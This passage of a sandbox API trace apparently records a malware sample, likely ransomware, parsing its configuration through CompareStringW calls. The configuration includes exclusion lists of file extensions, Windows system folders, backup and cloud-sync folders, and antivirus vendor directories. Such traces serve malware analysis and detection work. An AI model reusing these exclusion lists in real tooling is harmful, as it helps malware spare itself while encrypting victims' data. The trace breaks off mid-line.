3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_END]", cchCount1=8, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[ND_START]", cchCount1=10, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\PERFLOGS\\", cchCount1=10, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS\\", cchCount1=9, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS.OLD\\", cchCount1=13, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS10UPGRADE\\", cchCount1=18, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\$RECYCLE.BIN\\", cchCount1=14, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS NT\\", cchCount1=12, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\COMMON FILES\\", cchCount1=14, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\TEMP\\", cchCount1=6, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\BOOT\\", cchCount1=6, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MSOCACHE\\", cchCount1=10, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\DEFAULT USER\\", cchCount1=14, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\ACRONIS\\", cchCount1=14, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\ACRONIS\\", cchCount1=14, lpString2="[ND_END]", cchCount2=8) returned 1 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\BACKUPCLIENT\\", cchCount1=19, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\BACKUPCLIENT\\", cchCount1=19, lpString2="[ND_END]", cchCount2=8) returned 1 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\BACKUP MANAGER\\", cchCount1=21, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\BACKUP MANAGER\\", cchCount1=21, lpString2="[ND_END]", cchCount2=8) returned 1 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\CARBONITE\\", cchCount1=16, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\CARBONITE\\", cchCount1=16, lpString2="[ND_END]", cchCount2=8) returned 1 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\GOOGLE\\DRIVE\\", cchCount1=19, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\GOOGLE\\DRIVE\\", cchCount1=19, lpString2="[ND_END]", cchCount2=8) returned 1 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\DROPBOX\\", cchCount1=14, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\DROPBOX\\", cchCount1=14, lpString2="[ND_END]", cchCount2=8) returned 1 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\MICROSOFT ONEDRIVE\\", cchCount1=25, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\MICROSOFT ONEDRIVE\\", cchCount1=25, lpString2="[ND_END]", cchCount2=8) returned 1 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\ONEDRIVE\\", cchCount1=15, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\ONEDRIVE\\", cchCount1=15, lpString2="[ND_END]", cchCount2=8) returned 1 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VNC\\", cchCount1=4, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\INTERNET EXPLORER\\", cchCount1=19, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT\\OFFICE\\", cchCount1=18, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT OFFICE\\", cchCount1=18, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS SIDEBAR\\", cchCount1=17, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS MEDIA PLAYER\\", cchCount1=22, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\DVD MAKER\\", cchCount1=11, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWSPOWERSHELL\\", cchCount1=19, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS DEFENDER\\", cchCount1=18, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\TOR BROWSER\\", cchCount1=13, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ASPNET_CLIENT\\", cchCount1=15, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\REFERENCE ASSEMBLIES\\", cchCount1=22, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT\\PROVISIONING\\", cchCount1=24, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT SILVERLIGHT\\", cchCount1=23, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\PROGRAMDATA\\MICROSOFT\\", cchCount1=23, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT\\CRYPTO\\", cchCount1=18, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWSAPPS\\", cchCount1=13, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7-ZIP\\", cchCount1=7, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINRAR\\", cchCount1=8, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ESET", cchCount1=5, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\AVAST", cchCount1=6, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MALWAREBYTES", cchCount1=13, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\SYMANTEC ENDPOINT", cchCount1=18, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\TREND MICRO", cchCount1=12, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\BITDEFENDER", cchCount1=12, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\PANDA SECURITY", cchCount1=15, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MCAFEE", cchCount1=7, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\KASPERSKY LAB", cchCount1=14, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\KASPERSKYLAB", cchCount1=13, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\AVDEFENDER", cchCount1=11, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\SOPHOS", cchCount1=7, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\AVG", cchCount1=4, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[ND_END]", cchCount1=8, lpString2="[ND_END]", cchCount2=8) returned 2 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_START]", cchCount1=10, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_END]", cchCount1=8, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[ND_START]", cchCount1=10, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\PERFLOGS\\", cchCount1=10, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS\\", cchCount1=9, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS.OLD\\", cchCount1=13, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS10UPGRADE\\", cchCount1=18, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\$RECYCLE.BIN\\", cchCount1=14, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS NT\\", cchCount1=12, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\COMMON FILES\\", cchCount1=14, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\TEMP\\", cchCount1=6, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\BOOT\\", cchCount1=6, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MSOCACHE\\", cchCount1=10, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\DEFAULT USER\\", cchCount1=14, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\ACRONIS\\", cchCount1=14, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\ACRONIS\\", cchCount1=14, lpString2="[FEX_START]", cchCount2=11) returned 1 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\BACKUPCLIENT\\", cchCount1=19, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\BACKUPCLIENT\\", cchCount1=19, lpString2="[FEX_START]", cchCount2=11) returned 1 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\BACKUP MANAGER\\", cchCount1=21, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\BACKUP MANAGER\\", cchCount1=21, lpString2="[FEX_START]", cchCount2=11) returned 1 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\CARBONITE\\", cchCount1=16, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\CARBONITE\\", cchCount1=16, lpString2="[FEX_START]", cchCount2=11) returned 1 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\GOOGLE\\DRIVE\\", cchCount1=19, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\GOOGLE\\DRIVE\\", cchCount1=19, lpString2="[FEX_START]", cchCount2=11) returned 1 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\DROPBOX\\", cchCount1=14, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\DROPBOX\\", cchCount1=14, lpString2="[FEX_START]", cchCount2=11) returned 1 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\MICROSOFT ONEDRIVE\\", cchCount1=25, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\MICROSOFT ONEDRIVE\\", cchCount1=25, lpString2="[FEX_START]", cchCount2=11) returned 1 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\ONEDRIVE\\", cchCount1=15, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\ONEDRIVE\\", cchCount1=15, lpString2="[FEX_START]", cchCount2=11) returned 1 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VNC\\", cchCount1=4, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\INTERNET EXPLORER\\", cchCount1=19, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT\\OFFICE\\", cchCount1=18, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT OFFICE\\", cchCount1=18, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS SIDEBAR\\", cchCount1=17, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS MEDIA PLAYER\\", cchCount1=22, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\DVD MAKER\\", cchCount1=11, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWSPOWERSHELL\\", cchCount1=19, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS DEFENDER\\", cchCount1=18, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\TOR BROWSER\\", cchCount1=13, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ASPNET_CLIENT\\", cchCount1=15, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\REFERENCE ASSEMBLIES\\", cchCount1=22, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT\\PROVISIONING\\", cchCount1=24, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT SILVERLIGHT\\", cchCount1=23, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\PROGRAMDATA\\MICROSOFT\\", cchCount1=23, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MICROSOFT\\CRYPTO\\", cchCount1=18, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWSAPPS\\", cchCount1=13, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7-ZIP\\", cchCount1=7, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINRAR\\", cchCount1=8, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ESET", cchCount1=5, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\AVAST", cchCount1=6, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MALWAREBYTES", cchCount1=13, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\SYMANTEC ENDPOINT", cchCount1=18, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\TREND MICRO", cchCount1=12, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\BITDEFENDER", cchCount1=12, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\PANDA SECURITY", cchCount1=15, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MCAFEE", cchCount1=7, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\KASPERSKY LAB", cchCount1=14, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\KASPERSKYLAB", cchCount1=13, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\AVDEFENDER", cchCount1=11, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\SOPHOS", cchCount1=7, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\AVG", cchCount1=4, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[ND_END]", cchCount1=8, lpString2="[FEX_START]", cchCount2=11) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[FEX_START]", cchCount1=11, lpString2="[FEX_START]", cchCount2=11) returned 2 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_START]", cchCount1=10, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_END]", cchCount1=8, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[ND_START]", cchCount1=10, lpString2="[FEX_END]", 